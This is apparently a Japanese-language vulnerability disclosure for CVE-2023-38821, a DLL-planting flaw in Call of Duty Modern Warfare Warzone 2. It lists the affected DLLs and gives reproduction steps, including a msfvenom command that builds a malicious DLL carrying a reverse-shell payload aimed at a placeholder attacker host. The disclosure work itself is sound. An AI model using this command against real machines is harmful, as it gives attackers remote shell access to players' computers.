CoD-MW-Warzone-2 - CVE-2023-38821

CoD MW Warzone 2 における DLL プランティング - CVE-2023-38821 発見者: Idan Malihi

説明

Activision Call of Duty Modern Warfare: Warzone v.2 には問題があり、ローカルの攻撃者は細工されたファイルを介して、UMPDC.dll、MSIMG32.dll、RTWorkQ.DLL、WINSTA.dll、CRYPTSP.dll、dnsapi.dll、MSASN1.dll、webio.dll、fwbase.dll、ncrypt.dll、および DPAPI.DLL コンポーネント上で任意のコードを実行できます。

再現手順

DLL プランティングの脆弱性を悪用するには、攻撃者は以下の手順を実行します。

1. Steam をダウンロードします。
2. Call of Duty Modern Warfare 2 Warzone をダウンロードしてインストールします。
3. インストールパスのフォルダを開きます。例: D:\STEAM\steamapps\common\Call of Duty HQ
4. Kali Linux OS 上で msfvenom を使用して悪意のある DLL ファイルを作成します: msfvenom -p windows/x64/meterpreter/shell_reverse_tcp LHOST=IP LPORT=PORT -f dll -o RTWorkQ.DLL
5. DLL ファイルをゲームのパス D:\STEAM\steamapps\common\Call of Duty HQ に転送します。
6. ゲームをプレイして、リバースシェルを取得します。